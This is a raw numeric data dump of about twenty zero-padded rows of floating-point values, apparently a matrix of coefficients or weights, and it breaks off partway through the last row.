[0.0, 0.031, 0.5257, -2.47009, 0.38085, 0.27837, -1.00287, 0.34938, 0.49389, -1.65516, -0.051, 2.80784, 1.34934, 0.39369, 1.39615, -0.14306, 0.79854, 0.4695, 0.60273, 0.21458, -3.12672, -0.09754, 2.19771, 1.48395, 0.65534, 0.78354, 0.22009, 1.43209, 1.18397, 0.95312, 1.09394, 0.08541, -0.15161, 1.20921, -0.52492, -1.00753, -0.27693, -0.14413, 1.23856, 1.19068, 0.55252, 0.70663, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.63288, -0.06541, 2.52486, -0.13932, -1.0927, 1.00265, -0.6241, 0.00385, 1.62446, 1.73225, -0.67636, 0.17454, -1.36676, -1.58636, -2.7647, -0.34061, -1.36852, -0.46521, -1.43282, 0.51081, 1.55013, 0.03916, -0.82199, -0.67343, -1.06936, 0.58946, -2.67664, -1.10685, -1.32651, 0.79482, 0.32693, -0.63047, -1.47808, -1.51981, -1.20397, -0.97881, 0.21804, -0.31628, -2.33732, 1.62977, 1.68447, -0.02952, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.92462, 1.18409, -0.17249, -2.26806, 0.73959, 1.22277, -0.82716, -1.76505, 1.31882, -1.56328, -0.97622, -0.57212, 0.73051, 0.77167, 3.31132, 0.14199, 0.29668, 0.15277, 1.20503, 1.43108, -1.36179, -0.67889, 1.66254, 0.68607, 1.75838, 0.85643, -0.22332, 0.84079, 1.7183, -0.50141, 0.3913, 0.58179, 0.90932, 1.15515, 0.60961, 0.39631, -0.00651, 1.54314, 1.19342, -1.45672, 0.74125, 0.81439, 0.98945, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.8928, -1.24496, -0.80018, 2.19023, 0.38494, -2.05631, 0.53123, 0.39735, -1.95587, 0.72539, 1.6676, -0.65186, 0.47403, -1.30126, -1.66952, -0.48168, 0.54865, -0.84833, -1.11111, -2.6352, -1.65629, 0.94021, -0.04251, -1.11743, -2.46839, -2.04879, 0.87119, 0.41158, -0.54794, -0.19748, -0.45916, 0.55054, 1.14867, 0.22587, -1.09796, -1.42709, -1.74365, -0.32905, -0.20255, 0.85188, -1.59983, -0.29088, 0.14445, 0.6988, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.43702, 0.15261, 0.83541, -0.31088, -0.8662, 0.72072, 0.49575, -0.50042, -0.8779, 1.74597, 0.19804, 1.75314, 0.61856, 1.0901, -1.2102, 0.83674, -0.49742, -0.39526, 1.135, 1.43825, 0.98703, 0.13962, -0.4038, 0.79855, 0.93869, 1.3177, 0.91807, -1.30142, -0.85645, 1.83519, -0.02222, -0.38002, -1.36596, -0.45326, 1.13584, 2.64059, 2.08703, -0.17456, -0.35359, 0.09958, 0.10785, 0.05207, -0.38023, 0.6317, 0.6574, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.76185, -1.42731, 0.345, -0.07573, 0.51468, -1.17247, -0.6968, 1.29041, 2.7399, -2.58012, -0.62422, 0.50959, -1.32017, -0.1711, -0.05521, -1.34601, -0.45468, 0.34421, -0.19622, 0.01029, -0.97397, -2.52331, -0.25182, -0.0032, 0.91624, -0.77396, -2.12749, -0.85481, 0.40506, -1.51075, -1.11223, 0.33167, 2.58195, 0.60848, -0.02456, -1.46615, -1.23426, 0.62318, -0.48096, -0.38471, -0.14424, -0.03037, 1.12634, -0.71613, -1.40316, -1.63583, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.01125, 0.75618, -0.45369, -0.12904, 0.28677, 1.21484, 0.60058, -1.61573, -1.37605, -0.24529, 0.03637, -1.91501, 0.76165, 1.04938, 2.76138, 1.23773, 0.89424, -0.54165, -0.25793, 1.0788, 1.2631, 1.54385, -0.87412, -0.54829, -0.6978, -0.87183, 0.83003, 1.30802, 0.82843, 0.18486, 0.75222, 0.05818, -0.80838, -0.25211, -1.24599, 0.24442, 0.02856, 0.27361, 0.9332, -0.21669, -0.35244, 0.02559, -0.50823, 0.66562, 0.83969, 1.41899, -0.55092, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.32332, 0.00082, -1.52035, 1.00296, 0.80265, -1.14999, -2.10229, -0.25937, 0.08796, 3.06954, 0.87388, 1.04982, 0.96736, -1.25354, -2.02432, -0.90229, -0.8489, -0.70185, -1.43104, -1.67445, -1.16794, 1.08135, -1.0184, -1.06826, -0.14559, 0.33742, 0.66632, -0.71606, -1.92228, 0.39548, -0.78791, -1.15797, -0.10157, 1.88124, 1.23358, 0.16843, -0.60772, -0.84167, -0.44137, 0.89797, 0.07817, 0.87961, -0.02046, -0.52599, 1.52182, 0.6847, -0.1561, -0.27833, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.03936, -0.31996, 0.8677, -0.63368, -1.73081, 0.17711, 2.87753, 1.27093, -1.10585, -1.90951, 0.52967, 1.30766, -1.13256, 1.05742, 0.88912, 1.25513, -0.15616, 0.29657, -0.05765, 0.19983, 1.14036, 1.26755, 3.01636, 0.42409, -0.01729, 0.76401, -0.28328, -0.40187, 0.87168, 0.69484, 0.50188, 0.06202, 0.12705, -0.1882, 0.23216, -0.37312, 0.59307, -1.39577, -1.25663, -0.18179, -0.85652, -0.08222, 1.94054, 0.46771, -0.09309, -1.13865, 1.26267, -0.21557, -1.4416, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.60502, -0.64576, -0.07883, -0.34109, 1.9116, 0.25194, -1.50882, -0.94992, 0.89375, -0.0061, -0.49736, -0.84276, 0.65076, 0.43088, 0.82618, -1.26824, -0.59224, 1.45399, 1.95858, -0.67614, -2.12657, -3.87559, -1.97751, -0.49177, -1.39691, -0.34902, -1.09275, -0.72286, -0.05857, -0.56039, 0.20745, -0.63689, -1.42726, 0.24172, -0.28458, 1.36609, -0.28324, 1.09302, -0.15818, 0.17725, 1.95232, 0.86362, -1.26263, 1.59478, 0.89184, 0.05111, -0.13447, 1.33718, -0.11805, 0.93113, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.86416, 0.5672, 0.28193, 0.20555, -1.18663, -1.52125, 0.39647, 1.37502, -0.28491, -0.55092, -0.59545, 0.33457, 1.22827, -0.58619, -0.8554, 1.50798, 1.24096, -0.53416, -1.80065, -0.33657, 1.26997, 1.90205, 0.76631, 2.41318, 0.15394, -1.53378, 0.70726, 0.59662, 1.17708, -0.17677, 0.41401, 1.8799, 1.25314, -0.30106, 0.69397, 0.79326, 0.31186, 1.28742, -1.31047, -2.02625, -1.15428, -2.48772, -1.47964, -0.38447, 1.01827, -0.05588, -0.38362, -1.6797, -0.90213, 0.78509, 0.70614, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 1.156, 0.60408, -2.34312, -0.0665, 0.75658, 1.87266, 0.18742, -2.17335, -0.9462, 1.40417, 1.444, -0.04944, -1.42873, -0.09102, -0.15234, 2.45585, -0.67734, -2.77098, 0.08412, 2.44133, -0.03425, -0.32733, -1.71397, -3.08277, -0.88617, -0.91292, 0.65782, 0.46, -1.92996, -1.09329, -0.09301, -0.44395, -0.83242, -1.23663, 0.42354, -1.21082, -0.24913, -2.67167, 0.05395, -0.14038, 0.53299, 2.98423, 2.45758, 0.47375, 1.18169, 1.30523, 0.47857, 1.01063, -0.41756, -1.72535, -1.78232, 0.93495, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.69353, -1.13046, 1.89546, 0.38959, 0.11905, 0.11653, -0.04481, 1.71914, 1.93562, -1.0657, -1.92474, -1.1708, 0.62955, 2.45088, 1.8973, -2.82103, -1.25326, 2.29454, 1.81624, -1.21969, -1.67749, -0.2027, 1.66566, 2.59759, 3.86295, 2.65334, -1.94609, -1.19797, -0.1096, 1.27455, 0.93155, 0.38445, 0.91501, 1.09256, -0.81292, 0.63717, 0.77142, 1.22567, 0.41785, 1.76095, 0.97361, 0.18605, -1.21736, -2.00516, -2.21554, -0.16011, 1.23294, 0.4001, 0.05985, -0.34318, -1.48359, 0.01912, 0.70634, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.17683, 1.55513, 0.44172, -2.36133, -0.11226, 0.23635, 0.10893, 0.31467, -1.32349, -0.25086, 0.68735, 1.93167, 0.28478, -2.84016, -1.91874, -0.7666, 3.12912, 1.257, -2.31399, -1.64987, 1.89217, 0.17552, -1.19087, -1.13686, -4.25669, -2.74373, -0.68809, 0.89498, 2.37404, -0.64522, -0.85335, 0.67178, -0.82112, 0.13695, -0.83588, -0.22122, -1.10262, 0.69731, -1.0151, -1.32055, -2.37634, -1.23035, 0.42748, 1.24909, 0.08245, 0.47111, 1.29112, 0.63176, 0.32676, 2.40972, 0.07535, 0.44421, -1.056, 0.04763, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.26446, -1.14896, -1.46114, 0.76217, -0.72546, -0.90507, -0.511, -0.1554, 1.09494, 2.55334, 0.65426, -2.29695, -2.26518, 1.06198, 2.4828, 3.7822, -1.85054, -3.81674, 0.56323, 2.44564, 0.11955, 0.64433, -1.03317, -0.35586, 1.1207, 2.80849, 3.65414, 0.13918, -0.8095, 0.17818, 0.54464, -1.27337, 0.48492, 0.52565, 0.29732, -1.50316, -0.91314, -0.3192, -0.13784, -1.53607, 2.13199, 2.12909, 0.14404, -0.75727, 0.11139, -0.17022, -1.61829, -0.20583, 0.76246, 0.17034, -0.54975, -1.83331, -0.42436, 0.57484, -1.22792, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.33369, -0.42342, 0.30024, 0.68649, 0.7381, 0.61948, 0.21913, -0.63364, 0.66637, -1.7435, -0.80778, 1.56008, 3.3963, 0.8557, -3.76438, -2.78593, -0.45459, 3.23834, 2.50482, -0.317, -2.24, -0.37638, 0.56025, -0.64594, 1.37834, -2.19575, -3.68156, -1.63207, -0.73206, 0.71897, -0.54623, 0.19409, 1.84866, -0.73889, -0.46064, 0.42024, 0.4933, -0.33335, 0.06671, 0.25371, 0.19421, -1.18214, -1.26877, -0.88972, -0.87531, -1.20147, 0.10925, -0.01003, -0.0879, -0.35128, 1.27827, 2.13532, 1.09726, 0.65905, 0.85775, -0.61692, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 1.06531, 0.22155, 0.94756, -0.04375, 0.21646, -0.23208, 0.33561, -0.25815, -1.8134, -0.74205, 2.02245, 0.66571, -2.44884, -2.28375, 2.65095, 2.21718, 2.61609, -1.06591, -3.44217, -0.21519, 1.86528, 1.29234, 2.20189, -0.50859, -1.6889, 1.0304, 0.96704, 2.51642, 0.29663, -0.81608, 1.37076, 1.73845, -1.6691, 0.23533, 0.67649, -0.03716, -0.60952, -0.82058, 0.16009, 0.38723, -2.4181, -1.29455, 0.84724, 1.28922, -0.85231, 0.11699, -0.27413, -0.0784, -0.06268, -1.2087, -0.53304, 0.06358, -2.08994, -1.6069, -0.66308, -1.26245, 0.68369, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.26957, 1.02659, -1.37041, -1.5708, -0.7745, 1.76215, 0.15356, -0.11209, 0.28468, 2.15175, -2.21036, -2.4251, 1.0094, 3.42412, 0.46343, -3.9265, -2.61511, -0.04116, 2.11042, 1.61002, 1.03169, -1.04595, -2.0631, -0.74777, -1.62919, -0.15247, -0.26689, -1.85148, -0.88254, -0.33181, -0.42254, -2.58571, -0.09957, 2.05581, 0.63933, 0.29674, -0.04793, 0.69936, 0.20538, 0.18633, 1.10836, 0.47992, 1.00714, -0.94668, 0.9002, 0.4919, 0.55661, -1.33171, -0.70116, 1.20118, 0.23564, -1.26148, 1.36511, 2.00714, 1.39922, 0.28699, -1.06785, -0.17105, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -1.15065, -0.5118, -0.2286, 1.05366, 1.09607, -1.63399, -0.41429, 1.77439, 0.20772, -2.1132, -0.35249, 2.62777, 0.8167, -3.25291, -2.22778, 3.76576, 2.62408, 0.51856, -0.4753, -2.51107, -1.61026, 0.86276, 0.74762, 3.61087, 1.83149, -0.91431, 1.32467, 0.4301, 0.77928, -0.0937, -1.9197, 0.41357, 2.30208, -1.71089, -0.17727, -0.49692, -1.07032, -0.85671, 0.24003, 0.1152, 1.26724, 0.0816, -0.63031, -1.48646, -1.41659, 0.21181, 1.56738, 1.50522, 0.2562, -0.41928, 0.99184, 0.0273, -0.58243, -0.54796, -1.12799, -0.09638, 0.67572, -0.61805, 0.62449, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.74889, -0.28871, 2.28959, -0.57546, -1.04156, -0.34204, 1.28952, -1.77443, -1.16801, 1.53274, 3.5335, -1.72361, -2.35551, 2.25636, 3.33803, -0.45711, -3.24613, -1.97238, 0.32622, 1.55521, 1.06016, 1.59793, 1.15146, -2.46794, 0.00862, -1.03204, -1.95097, -0.28194, -0.25754, 1.34541, 0.97632, 0.58179, -3.08413, -0.73211, 0.20275, 1.72042, 1.82047, 0.73453, 0.84201, 0.08134, -1.91956, -0.4598, -0.04579, 1.34766, 0.93275, 0.92824, -0.4451, 0.92603, 0.89847, -0.43827, -1.37857, 0.68942, -0.99567, -0.42361, 1.20677, 1.22242, 1.1809, -1.5253, -0.87808, -0.9467, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.59251, -0.83657, -2.35244, 0.38299, 0.71553, 1.86705, -1.08056, 0.57432, 1.65585, -0.43813, -3.07833, -1.24241, 2.33245, 0.7675, -2.87501, -2.72805, 2.83397, 3.00692, 0.03314, -0.15678, -0.35469, -1.31332, -1.39516, -0.60633, 2.38395, 1.28413, -0.50206, 1.28191, -0.03836, -0.3675, 0.53094, 0.05397, 0.73112, 1.94212, 0.23576, -0.31964, 0.20582, -0.84743, -1.37924, -0.62373, -1.20015, -0.66204, 0.95694, 0.41053, -0.94956, -1.10121, -0.15001, -0.74881, -0.19, 0.57545, 1.40959, 0.66009, 0.95528, -1.14134, 0.5477, -0.13752, -0.29269, 0.27974, 1.66978, 1.83938, 1.80503, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 